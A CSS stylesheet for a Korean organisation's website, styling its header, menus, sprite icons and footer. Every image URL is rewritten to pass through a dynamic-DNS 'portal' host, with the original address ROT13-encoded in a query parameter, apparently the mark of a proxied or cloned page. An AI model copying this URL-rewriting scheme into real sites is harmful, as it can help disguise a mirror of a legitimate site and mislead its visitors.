@charset "utf-8";

* {margin:0;padding:0;box-sizing:border-box;-webkit-touch-callout:none;}



/* hidden type */
.hide,
.skip{position:fixed;top:0;left:0;width:0;height:0;font-size:0;overflow:hidden}
 

/* skip Navi */
#accessibility{position:absolute;top:-1px;left:0;background-color:#333;z-index:999999}
#accessibility a{position:absolute;top:0;left:0;padding:10px 25px;margin-top:-100px;text-align:center;line-height:1;white-space:nowrap;background:#000}
#accessibility a:link{color:#333;}
#accessibility a:focus{margin-top:0;text-decoration:underline;color:#fff}


.clearfix {width:100%;}
.clearfix:after {content:"";display:block;visibility:hidden;clear:both;}
.th1 *{vertical-align:middle}
.th1 .window{position:relative;top:-1px;}
.window{display:inline-block;margin-left:10px;}


/* skip Navi */
.accessibility{position:absolute;top:-1px;left:0;background-color:#333;z-index:999999}
.accessibility a{position:absolute;top:0;left:0;padding:10px 25px;margin-top:-100px;text-align:center;line-height:1;white-space:nowrap;background:#000}
.accessibility a:link{color:#333;}
.accessibility a:focus{margin-top:0;text-decoration:underline;color:#fff}


#accessibility-quick,
#accessibility-gnb,
#accessibility-content,
#accessibility-mcontent{position:fixed;top:0;left:0;width:100%}

.pc{display:block}
.mo{display:none}

.layout{width:1200px;height:100%;margin:0 auto}
.layout:after{content:"";display:block;clear:both}

.ir{overflow:hidden}
.ir:before{content:"";vertical-align:top;width:100%;height:100%}

button{background-color:transparent}
i{font-style:normal}

.none{display:none}


/************/

#wrap{position:relative;width:100%;/*overflow:hidden*/}
#animate{overflow: hidden;height: 71px;}
#header{z-index:100;position:fixed;border-top:4px solid #426dda;background: #fff; width: 100%;}

#animate{position:relative;overflow:hidden;background-color:#ecf8ff; border-bottom: 1px solid #ddd;}
#animate .style{background-color:#fff;height: 71px;}

header .logoWrap {
    position: relative;
}

header .logoWrap .or01 {
    display: inline-block;
    position: absolute;
    left: 30px;
    top: 35px;
    font-size: 15px;
    color: #282828;
}
header .logoWrap .or01 a {
    display: inline-block;
    float: left;
}
header .logoWrap .or01 a:last-child{
    padding-right: 10px;
}
header .logoWrap .or02 {
    display: inline-block;
    position: absolute;
    left: auto;
    right: 0;
    top: 35px;
    font-size: 16px;
    color: #000;
}
header .logoWrap .or02 a:first-child{
    padding-right: 20px;
}
header .topBtnWrap {
    position: absolute;
    right: 0;
    bottom: 20px;
    z-index: 100;
}

header .topBtnWrap > button {
    display: inline-block;
    margin-left: 15px;
    vertical-align: middle;
    line-height: 1;
    width: 30px;
}
header .topBtnWrap > a {
    display: inline-block;
    margin-left: 15px;
    vertical-align: middle;
    line-height: 1;
    width: 30px;
}

.sr-only, .hidden {
    position: absolute;
    width: 1px;
    height: 1px;
    padding: 0;
    margin: -1px;
    overflow: hidden;
    clip: rect(0,0,0,0);
    border: 0;
}

header .topBtnWrap .allMenu [class*="bar"] {
    display: block;
    width: 20px;
    height: 2px;
    background-color: #424242;
    transition: all .2s ease;
}

header .topBtnWrap .allMenu .bar2 {
    margin: 6px 0 6px 4px;
}

header .topBtnWrap .allMenu:hover .bar1, header .topBtnWrap .allMenu:hover .bar3 {
    margin-left: 4px;
}

header .topBtnWrap .allMenu:hover .bar2 {
    margin-left: 0px;
}

header .topBtnWrap .schBtn {
    font-size: 24px;
    width: auto;
    height: auto;
}

#logo {
    text-align: center;
    padding: 15px 0;
}

#tm li {
    margin-top: 4px;
}
#logo .toplogo {
    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzt%2Sybtb.wct) no-repeat;
    font-size: 0;
    display: inline-block;
    width: 320px;
    height: 78px;
    position: relative;
    background-size: 100%;
    background-position: center;
}
header nav.pc {
    position: relative;
    border-top: 1px solid #ddd;
    border-bottom: 1px solid #ddd;
}
header nav.pc .container{
    position: relative;
}

#sitelink {
    float: right;
    height: 74px;
    margin-right: 37px;
    margin-top: -6px;
}
#sitelink .ir, #sitelink input[type="submit"] {
    float: left;
    width: 50px;
    height: 74px;
    background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2S..%2S..%2Svzt%2Sznva%2Surnq%2Sfaf.cat) no-repeat;
    margin-top: 25px;
    margin-left: 20px;
}
/*#sitelink .ir{border-left:1px solid #ddd}*/

#sitelink .int{background-position:-50px 0}

#sitelink .logoin{background-position:-100px 0}
#sitelink .login{
    float: left;
    border: 1px solid #ddd;
    margin: 25px 20px;
    padding: 5px 20px;
    border-radius: 25px;
    background-color: #05a7ce;
    color: #fff;
}
#sitelink .login:hover {
    background-color: #fff;
    color: #000;
}
#sitelink .register{
    float: left;
    border: 1px solid #ddd;
    margin: 25px 0;
    padding: 5px 10px;
    border-radius: 25px;
}
#sitelink .register:hover {
    background-color: #05a7ce;
    color: #fff;
}
#sitelink .member_infor{
    float: left;
    border: 1px solid #ddd;
    margin: 25px;
    padding: 5px 10px;
    border-radius: 25px;
}
#sitelink .member_infor:hover {
    background-color: #05a7ce;
    color: #fff;
}

#sitelink .wait{background-position:0 0}
#sitelink .logoout{background-position:-350px 0}
#sitelink .logout{
    float: left;
    border: 1px solid #ddd;
    margin: 25px 0;
    padding: 5px 10px;
    border-radius: 25px;
}
#sitelink .logout:hover {
    background-color: #05a7ce;
    color: #fff;
}


#sitelink .happy{background-position:-150px 0} 
#sitelink .insta{background-position:-200px 0} 
#sitelink .facebook{background-position:-250px 0} 
#sitelink .toursearch{background-position:-300px 0} 


/*
#site_search{float:left;width:74px;height:100%;overflow:hidden}
#site_search form{float:right;width:226px}
#site_search form input,#site_search .keyword{float:left}
#site_search form .keyword{float:left;height:74px}
#site_search form .keyword input[type="text"],
#site_search form .keyword input[type="search"]{width:150px}
#site_search input[type="submit"]{padding:0;text-indent:100px;border-width:0;background-color:#2eabc1;background-position:-148px 0;color:#f00;}
*/

button, input, optgroup, select, textarea {
    font-family: inherit;
    font-size: inherit;
    font-weight: inherit;
    margin: 0;
}

button {
    border: 0;
    background: none;
    cursor: pointer;
}

#gnb{width: 92%;}

#flower{position:absolute;bottom:-1px;height:3px;background-color:#426dda;}

#tm {
    height: 100%;
    margin: 0 auto;
    font-size: 1rem;
    font-weight: 700;
    
    position: relative;
}
#tm>li{height:100% }
#tm>li>a {
    height: 100%;
    padding: 20px;
    font-weight: 400;
    font-size: 22px;
    color: #282828;
    width: 100%;
    display: inline-block;
    /* border-right: 1px solid #ddd; */
}
#tm>li#iconSet5>a{
    border-right: 0px
}

#tm>li>a > span {
    display: inline-block;
    padding: 0 5px;
}

#tm>li>a:before{content:"";display:inline-block;height:100%;vertical-align:middle}
#tm .th1{display:inline-block; vertical-align: top; margin: 0; border-left: 1px solid #ddd; float: left; width: 25%; text-align: center;}
#tm .th2{display:none;position:absolute;top:72px;left:0;right:0;padding:0;text-align:center}
#tm .th2>li{position:relative;display:inline-block; padding: 0 5px;}
#tm .th2>li:before{content: ''; width: 1px; height: 10%; top: 45%; position: absolute; left: 0; background: #c3c3c3;}
#tm .th2>li:first-child:before{display: none;}
#tm .th2>li>a{display:block;padding:15px;border-radius:5px;color:#282828;position: relative; font-weight: 400;}
#tm .th2>li>a p{ margin-top: 5px;}
#tm .th2>li>a.ov,
#tm .th2>li>a:hover{
    text-decoration: none;
    position: relative;
}
#tm .th2>li>a:hover:after {
  position: absolute;
  bottom: 2px;
  left: calc(50% - 10px);
  content: " ";
  height: 0;
  z-index: 1;
  border-bottom: 10px solid;
  border-left: 10px solid rgba(0, 0, 0, 0);
  border-right: 10px solid rgba(0, 0, 0, 0);
  color: #426dda;
  transform: rotate(-360deg);
  -webkit-transform: rotate(-360deg);
  -moz-transform: rotate(-360deg);
  -o-transform: rotate(-360deg);
  -ms-transform: rotate(-360deg);
}

#tm .th2>li>a .icon{display:block;width:75px;height:50px;margin:0 auto 10px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Sgurzr%2Sonfvp%2Spff%2S..%2S..%2S..%2Svzt%2Stao_vpba.cat) no-repeat}

#tm #iconSet1{}
#tm #iconSet1 .icon1{background-position:0 0px}
#tm #iconSet1 .icon2{background-position:-75px 0px}
#tm #iconSet1 .icon3{background-position:-150px 0px}
#tm #iconSet1 .icon4{background-position:-225px 0px}
#tm #iconSet1 .icon5{background-position:-300px 0px}
#tm #iconSet1 .icon6{background-position:-375px 0px}
#tm #iconSet1 .icon7{background-position:-450px 0px}
#tm #iconSet1 .icon8{background-position:-525px 0px}

#tm #iconSet2{}
#tm #iconSet2 .icon1{background-position:0 -50px}
#tm #iconSet2 .icon2{background-position:-75px -50px}
#tm #iconSet2 .icon3{background-position:-150px -50px}
#tm #iconSet2 .icon4{background-position:-225px -50px}
#tm #iconSet2 .icon5{background-position:-300px -50px}
#tm #iconSet2 .icon6{background-position:-375px -50px}
#tm #iconSet2 .icon7{background-position:-450px -50px}
#tm #iconSet2 .icon8{background-position:-525px -50px}

#tm #iconSet3{}
#tm #iconSet3 .icon1{background-position:0 -100px}
#tm #iconSet3 .icon2{background-position:-75px -100px}
#tm #iconSet3 .icon3{background-position:-150px -100px}
#tm #iconSet3 .icon4{background-position:-225px -100px}

#tm #iconSet4{}
#tm #iconSet4 .icon1{background-position:0 -150px}
#tm #iconSet4 .icon2{background-position:-75px -150px}
#tm #iconSet4 .icon3{background-position:-150px -150px}


#tm #iconSet5{}
#tm #iconSet5 .icon1{background-position:0 -200px}
#tm #iconSet5 .icon2{background-position:-75px -200px}
#tm #iconSet5 .icon3{background-position:-150px -200px}
#tm #iconSet5 .icon4{background-position:-225px -200px}
#tm #iconSet5 .icon5{background-position:-300px -200px}
#tm #iconSet5 .icon6{background-position:-375px -200px}
#tm #iconSet5 .icon7{background-position:-450px -200px}
#tm #iconSet5 .icon8{background-position:-525px -200px}
#tm #iconSet5 .icon9{background-position:-600px -200px}
#tm #iconSet5 .icon10{background-position:-675px -200px}


#tm .th3{display:none;position:absolute;top:133px;left:50%;width:2000px;padding-top:20px;margin-left:-450px;text-align:center;border-top:1px solid #666e82}
#tm .th4 {
    margin-left: -600px;
}
#tm .th5 {
    margin-left: -800px;
}
#tm .th3 li{display:inline-block;margin:0 5px}
#tm .th3 li a{padding:7px 15px;border:1px solid #ddd;border-radius:3px;color:#fff}
#tm .th3 li a:hover,
#tm .th3 li a:focus{
	text-decoration:none;
	border-bottom-color:#fae100;
}


#tm .current{color:#426dda; font-size: 26px;} 




#svisual{position:relative;height:270px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sfivfhny1.wct) no-repeat 50% 50%;background-size:cover}
[id^="sub01"] #svisual{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sfivfhny1.wct) no-repeat 50% 50%;background-size:cover}
[id^="sub02"] #svisual{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sfivfhny2.wct) no-repeat 50% 50%;background-size:cover}
[id^="sub03"] #svisual{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sfivfhny3.wct) no-repeat 50% 50%;background-size:cover}
[id^="sub04"] #svisual{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sfivfhny4.wct) no-repeat 50% 50%;background-size:cover}
[id^="sub05"] #svisual{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sfivfhny5.wct) no-repeat 50% 50%;background-size:cover}
[id^="sub06"] #svisual{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sfivfhny6.wct) no-repeat 50% 50%;background-size:cover}

#svisual h1{padding-top:75px;text-align:center;font-weight:700;font-family:"nsr",sans-serif;font-size:45px;color:#fff}

#menulocate{position:absolute;top:75px;left:0;right:0;margin:0 50px}
#menulocate a{display:block;height:59px}
#menulocate a:before,#menulocate a:after{content:"";display:inline-block;vertical-align:middle;width:31px;height:100%;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Szrahybpngr.cat) no-repeat}
#menulocate a div{display:inline-block;font-size:20px;line-height:1.3;vertical-align:middle;color:#fff}
#menulocate a div span{display:block;font-size:13px}

#menulocate a[data-control="prev"]{float:left}
#menulocate a[data-control="prev"]:before{margin-right:7px;background-position:0 0}

#menulocate a[data-control="next"]{float:right}
#menulocate a[data-control="next"]:after{margin-left:7px;background-position:-50px 0}

#menulocate a[data-control="prev"]:after,
#menulocate a[data-control="next"]:before{display:none}


#remote{position:relative;height:63px;margin-top:-63px;border:solid #151515;border-width:1px 0;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Serzbgr_oynpx.cat)}
#remote .layout{position:relative}


#lnb{height:63px;border:solid #000;border-width:0 0 0 1px}
#lnb:after{content:"";display:inline-block;clear:both}
#lnb .th2{float:left;width:25%;height:100%;border:solid #000;border-width:0 1px 0 0}
#lnb .th2>a{display:block;height:100%;font-size:18px;text-align:center;color:#fff}
#lnb .th2>a:before{content:"";display:inline-block;height:100%;vertical-align:middle}
#lnb .th2>a span{display:inline-block;vertical-align:middle}

#lnb .th2 .link_2th{}
#lnb .th2 .link_2th_ov,
#lnb .th2 .link_2th:hover,
#lnb .th2 .link_2th:focus{background-color:#234988;color:#fff} 

#lnb .th3{display:none;z-index:10;position:absolute;top:63px;left:0;right:0;height:61px;border:solid #ddd;border-width:1px 0;background-color:#fff}
#lnb .th3:before,#lnb .th3:after{content:"";position:absolute;top:-1px;width:2000px;height:100%;border:solid #ddd;border-width:1px 0;background-color:#fff}
#lnb .th3:before{left:-2000px}
#lnb .th3:after{right:-2000px}

#lnb .th3>li{float:left;height:100%}
#lnb .th3>li>a{display:block;height:60px;margin:0 14px;font-size:16px;border-bottom:2px solid transparent;color:#666}
#lnb .th3>li>a:before{content:"";display:inline-block;height:100%;vertical-align:middle}

#lnb .th3 .link_3th{}
#lnb .th3 .link_3th:hover,
#lnb .th3 .link_3th:focus{color:#2eabc1}
#lnb .th3 .link_3th_ov{border-bottom-color:#2eabc1;color:#2eabc1}
#lnb .th2>a .window{display:none;}
[id^="sub01"] #lnb .th2{width:14.28%}
[id^="sub03"] #lnb .th2{width:20%}
[id^="sub05"] #lnb .th2{width:16.66%}
[id^="sub02"] #lnb .th2,[id^="sub04"] #lnb .th2{width:16.66%}
[id^="sub06"] #lnb .th2{width:50%}
[id^="sub01"] #lnb .th3{padding-left:413px}


#container{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Spbagnvare_cnggrea.tvs)}
#sub06_01 #container .layout{width:auto}

#location{padding-top:80px;margin-bottom:10px}
#location .layout{position:relative}
#location .naviText{}
#location .naviText h1{font-weight:700;font-family:"nsr",sans-serif;font-size:40px;color:#000}

/*
#sub06_01 #location .layout{width:1200px}
*/


#navigate{position:absolute;top:8px;right:0}
#navigate .navi{display:inline-block;margin-right:10px;vertical-align:middle;font-size:15px}
#navigate .navi:before{content:"";display:inline-block;width:6px;height:11px;margin-right:10px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sybpngvba.cat) no-repeat -25px 0}
#navigate .home{margin:2px 7px 0 0}
#navigate .home:before{width:14px;height:13px;margin-right:0;background-position:0 0}
#navigate .current{font-size:16px;color:#000}
 

#navigate button.icon{vertical-align:middle;width:47px;height:47px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sybpngvba.cat) no-repeat}

#navigate .function{position:relative;display:inline-block}
#navigate .function .share{z-index:120;position:relative;background-position:-50px 0}
#navigate .function .share-block{z-index:110;position:absolute;top:-12px;right:37px;padding:70px 20px 10px;border:1px solid #ddd;background:#fff}
#navigate .function .share-block a{display:block;width:35px;height:35px;margin-top:5px;vertical-align:middle;border-radius:100%;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Svpba_faf.cat) no-repeat}
#navigate .function .share-block a:first-child{margin-top:0}
#navigate .function .share-block a.facebook{background-color:#447dd5;background-position:8px 7px}
#navigate .function .share-block a.twitter{background-color:#0099d2;background-position:-33px 7px}
#navigate .function .share-block a.kakaotalk{display:none;background-color:#fcb700;background-position:-70px 10px} 








@media(max-width:768px){
#navigate .function .share-block a.kakaotalk{display:block}
}
 
#navigate .function .print{background-position:-100px 0}

#navigate .function .share-block{}


#content{min-height:700px}




#boeunNews{height:65px;border:solid #ddd;border-width:1px 0;background-color:#f7f7f7}
#boeunNews .layout{position:relative;padding-top:13px}
#boeunNews .icon{background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2SobrhaArjf.cat) no-repeat}

#boeunNews .grap{position:relative;height:38px;padding-left:55px;margin:0 200px 0 0;overflow:hidden}
#boeunNews .grap:before{content:"";position:absolute;top:0;left:0;width:38px;height:38px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2SobrhaArjf.cat) no-repeat}

#boeunNews .grap .obj{position:relative;height:38px}
#boeunNews .grap .obj li{height:100%}
#boeunNews .grap .obj li:before{content:"";display:inline-block;height:100%;vertical-align:middle}
#boeunNews .grap .obj li a{display:inline-block;vertical-align:middle}
#boeunNews .grap .obj li a img{vertical-align:baseline}
#boeunNews .grap .obj li a span{margin-left:20px}

#boeunNews .control{position:absolute;top:12px;right:100px}
#boeunNews .control button{float:left;width:40px;height:40px;border:1px solid #afafaf}
#boeunNews .control button[data-type="prev"]{background-position:-39px 15px}
#boeunNews .control button[data-type="next"]{margin-left:-1px;background-position:-89px 15px}

#boeunNews .more{position:absolute;top:14px;right:0}
#boeunNews .more a{display:block;width:83px;height:35px;font-size:15px;text-indent:8px;background-position:-150px 0}
#boeunNews .more a:before{content:"";display:inline-block;height:110%;vertical-align:middle}
#boeunNews .more a:hover,
#boeunNews .more a:focus{text-decoration:underline;}

#footer{padding:20px 0 50px;background:#fff}
#footer .layout{position:relative}
#footer .footer_logo{float:left;width:114px;height:64px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Ssybtb.cat) no-repeat}
#footer .footer_menu{position:absolute;top:0;right:0}
#footer .footer_menu ul{}
#footer .footer_menu ul li{float:left;margin-left:5px}
#footer .footer_menu ul li a{display:block;padding:5px 15px;font-size:15px;border:1px solid #ddd;color:#828282}
#footer .footer_menu ul li a:hover,
#footer .footer_menu ul li a:focus{text-decoration:underline;}
#footer .footer_menu .youtube{margin-top:-7px}
/*#footer .footer_menu .youtube img{margin-right:3px;vertical-align:middle}*/
#footer .footer_menu .youtube a{font-size:16px;border-width:0}
#footer .footer_menu .youtube a *{vertical-align:middle}
#footer .footer_menu .youtube a .icon{display:inline-block;margin-right:3px;overflow:hidden;width:39px;height:39px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Slbhghor.tvs) no-repeat}
#footer address,
#footer .copy{padding-left:145px;color:#767676}
#footer address div{display:inline-block;font-size:15px}

#footer .addr{margin-right:15px}
#footer .number{}


#content{padding-bottom:70px}

#sitelink .mobile{display:none;width:73px;height:100%;text-align:center;background-color:#2eabc1;width:50px;height:50px;border-radius:100%;-webkit-border-radius:100%}
#sitelink .mobile:before{content:"";display:inline-block;height:100%;margin-left:-3px;vertical-align:middle}

#sitelink .fireinthefinger{position:relative;display:inline-block;width:25px;height:16px;line-height:1;vertical-align:middle}
#sitelink .fireinthefinger span{position:absolute;left:0;top:0;width:100%;height:3px;line-height:1;background-color:#fff}
#sitelink .fireinthefinger .bar1{left:0;top:0}
#sitelink .fireinthefinger .bar2{left:0;top:7px}
#sitelink .fireinthefinger .bar3{left:0;top:14px}


/* ����ϸ޴� */
#shadow_device {display:none;position:fixed;top:0;left:0;width:100%;height:100%;z-index:900;background:#000;opacity:0.7}

/*����� �޴�*/
#mo_gnb{display:none;position:absolute;top:0;right:-250px;width:250px;height:100%;overflow:auto;background:#454950;z-index:1010;box-shadow:0px 0px 10px #333}

#mo_search{padding:10px 0;background:#fff}
#mo_search form{width:230px;margin:0 auto}
#mo_search form input{padding:0;border:0}
#mo_search form .keyword{float:left;width:180px;height:40px;border:1px solid #ddd;border-right-width:0}
#mo_search form .keyword input[type="text"],#mo_search form .keyword input[type="search"]{width:100%;height:100%;line-height:43px;text-indent:10px;border-width:0}
#mo_search form input[type="submit"]{width:50px;height:40px;overflow:hidden;text-indent:-1000px;border:1px solid #ddd;background:#fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Szb_frnepu.cat) no-repeat 50% 50%}

#mo_tm{}
#mo_tm a{display:block;line-height:1;font-size:15px;color:#c0c6d0}
#mo_tm .th1{border-top:1px solid #2e3238}
#mo_tm .th1>a{position:relative;padding:20px 0 20px 30px;font-size:18px}
#mo_tm .th1>a:after{content:">";position:absolute;top:20px;right:20px;font-size:20px;transition:transform 0.3s;font-family: 'Nanum Gothic', sans-serif;}
#mo_tm .th1>a.ov,
#mo_tm .th1>a:active{background-color:#2eabc1;color:#fff}
#mo_tm .th1>a.ov:after{transform:rotate(90deg)}

#mo_tm .th2{background-color:#393b41}
#mo_tm .th2>li{border-top:1px dashed #595959}
#mo_tm .th2>li:nth-child(1){border-top-width:0}
#mo_tm .th2>li>a{position:relative;padding:15px 0 15px 30px}
#mo_tm .th2>li>a:after{content:"+";position:absolute;top:13px;right:20px;font-size:20px;font-family: 'Nanum Gothic', sans-serif;}
#mo_tm .th2>li>a.ov,
#mo_tm .th2>li>a:active{color:#fff}
#mo_tm .th2>li>a.ov:after{content:"-"}

#mo_tm .th3{padding:10px 0;background-color:#2b2c30}
#mo_tm .th3>li{}
#mo_tm .th3>li>a{padding:5px 0 5px 40px}
#mo_tm .th3>li>a.ov,
#mo_tm .th3>li>a:active{color:#fff}

#remote .remote-push{display:none;position:absolute;top:0;right:0;width:45px;height:100%;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Serzbgr_cnggrea.cat)}
#remote .remote-push:before{content:"";background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Serzbgr_nee.cat) no-repeat 50% 50%}


@media(max-width:1894px){

#sitelink { 
    margin-right: 35px;
}
#sitelink {
    float: right;
    height: 74px;
    margin-right: 35px;
    margin-top: -10px;
}}
	
@media(max-width:1600px){

     #tm>li>a {


}
#tm .th3 {
    width: 1600px;
    padding-top: 20px;
    margin-left: -291px;
}
    #tm .th3 li {
    display: inline-block;
    margin: 0 0px;
}
#tm .th3 li a {
    padding: 7px 4px;
}
#tm .th4 {
    margin-left: -400px;
}
#header { 
    height: auto!important;}
#tm .th5 {
    margin-left: -600px;
}

}
@media(max-width:1440px){

    
#tm .th3 {
    width: 1200px;
    margin-left: -100px;
}

    
#tm .th3 li {
    margin: 11px 0px;
}

    #tm .th4 {
    margin-left: -250px;
}
#tm .th5 {
    margin-left: -400px;
}
    
}

@media (max-width: 1410px){
   
    #sitelink {
    margin-right: 0px;
}

}
@media(max-width:991px){
    #header, header { 
    height: 70px!important; border-top:0; border-bottom:1px solid #ddd;}

header{
    position: fixed;
    width: 100%;
    background: #fff;
    z-index: 3;
    }
    
#logo {
    padding: 9px 0 0 18px;
}
    
    #logo .toplogo {
    width: 200px;

}
header .topBtnWrap{
    right:20px;
    }
header .topBtnWrap .schBtn{
    font-size:30px;
    }
}

@media(max-width:1200px){
.layout{width:auto;max-width:1000px}

    #tm {
        width: 100%;
    }
#tm .th1{}


#sitelink {
    margin-right: 0px; 
}
#sitelink .ir, #sitelink input[type="submit"]{width:54px;}


#sitelink .happybean{background-position:0 0}
#sitelink .instagram{background-position:51% 0}
#sitelink .toursearch{background-position:100% 0}


    #sitelink .ir{    margin-top: -2%;}

#site_search{width:54px}
#site_search form{width:206px}
#site_search form .keyword{height:54px}


[id^="sub01"] #lnb .th3{padding-left:327px}

    
        #tm>li>a > span {
   padding: 0 ; 
}
#tm>li>a > span img {
    width: 80%;
}
    

}


@media (max-width: 1165px){

#sitelink .ir, #sitelink input[type="submit"] {
    width: 45px;
}

}

@media(max-width:1024px){
    #logo {
    padding: 9px 0 0 0px;
}
    #sitelink {
    margin-right: 9px;
}
    #sitelink .ir, #sitelink input[type="submit"] {
    width: 46px;
}
    #tm>li>a > span {
    padding:  0px;
}
    
#tm .th3 li {
    /* margin: 11px 0px; */
    display: none;
}

}

@media(max-width:991px){
#container .layout,#boeunNews .layout,#footer .layout{max-width:748px}
#gnb,#sitelink .happybean,#sitelink .instagram,#sitelink .facebook,#print{display:none}
#remote .remote-push{display:block}

#logo{padding:10px 0 0 15px}
#logo .tour{width:164px;height:54px}
#sitelink{padding-top:12px}
#sitelink .mobile{display:inline-block}

#menulocate{margin:0 20px}


#location .naviText h1{font-size:25px}

#navigate{top:-5px}

#navigate .function .share-block{right:-14px}


#remote #lnb .th2{width:auto}

#lnb .th2{border-width:0}
#lnb .th2>a{font-size:16px}
#lnb .th2>a>span{padding:0 20px}


#footer .footer_menu{position:static;padding-left:140px;margin-top:10px}


}


@media (max-width:970px) {
    #fullpage{padding-top: 70px;}
}

@media(max-width:767px){
#svisual,#remote,#boeunNews,#footer .footer_logo{display:none}

#header{position:relative;box-shadow:0 0 5px 0 #000;border-bottom:1px solid #c4c4c4}

#location{padding:20px 0;margin-bottom:0;text-align:center;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.urneg4h.be.xe%2Svzntrf%2Sgbhe%2Spbzzba%2Sfivfhny1.wct) no-repeat 50% 50%;background-size:cover}
#location .naviText h1{color:#fff}

#navigate{position:static}
#navigate .navi{font-size:14px;color:#fff}
#navigate .home:before{background-position:0 -25px}
#navigate .current{color:#fff}


#container .layout,#boeunNews .layout,#footer .layout{margin:0 10px}

#footer .footer_menu,#footer address,#footer .copy{padding-left:0;font-size:12px;text-align:center}

#footer .footer_menu ul li{float:none;display:inline-block;vertical-align:middle}
#footer .footer_menu .youtube{margin-top:10px}


#container{background:#fff;border-bottom:1px solid #c4c4c4}

#content{padding:10px 0}

 
}



@media(max-width:639px){

#footer .footer_menu ul li{display:block;margin-top:2px}
#footer .footer_menu ul li a{}

#footer address div{display:block}


}




/**************************************************************인트라넷 아이콘*************************************************************/




#tm .th2>li>a .intra1 {
background-position:-150px -150px
}

#tm .th2>li>a .intra2 {
background-position:-150px 0px
}

#tm .th2>li>a .intra3 {
background-position:-75px -50px
}

#tm .th2>li>a .intra4 {
background-position:0px -50px
}


#tm .th2>li>a .intra5 {
background-position:-75px -150px
}

#tm .th2>li>a .intra6 {
background-position:-0px -0px
}


#tm .th2>li>a .intra7 {
background-position:-675px -200px
}


#tm .th2>li>a .intra8 {
background-position:-450px -200px
}


#tm .th2>li>a .intra9 {
background-position:-0px -200px
}


#tm .th2>li>a .intra10 {
background-position:-450px -50px
}



#tm .th2>li>a .intra11 {
background-position:-225px -100px
}



#tm .th2>li>a .intra12 {
background-position:-375px -200px
}



#tm .th2>li>a .intra13 {
background-position:-150px -50px
}




#tm .th2>li>a .intra14 {
background-position:0px -100px
}



#tm .th2>li>a .intra15 {
background-position:-75px -100px
}



@media(max-width:991px){
    .hidden-ms {
        display: none !important;
    }
    .visible-ms {
        display: block !important;
    }
}
@media (min-width:1367px){
  .nav-topOnMenu {
    display: none !important;
  }
}

/*mobile nav*/
.mobile-menu{display: none;}
